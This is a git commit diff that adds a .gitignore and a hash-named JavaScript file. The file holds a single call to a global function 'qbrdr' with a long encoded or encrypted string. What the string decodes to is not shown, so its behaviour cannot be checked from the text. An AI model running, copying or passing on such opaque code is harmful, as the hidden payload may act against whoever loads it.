commit 3780af9370f62b9ec9968901babe64132fd7e853 Author: khanhduytran0 Date: Fri Mar 6 13:20:46 2026 +0700 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e43b0f9 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/377bed7460f7538f96bbad7bdc2b8294bdc54599.js b/377bed7460f7538f96bbad7bdc2b8294bdc54599.js new file mode 100644 index 0000000..7fca15b --- /dev/null +++ b/377bed7460f7538f96bbad7bdc2b8294bdc54599.js @@ -0,0 +1 @@ +window["qbrdr"]("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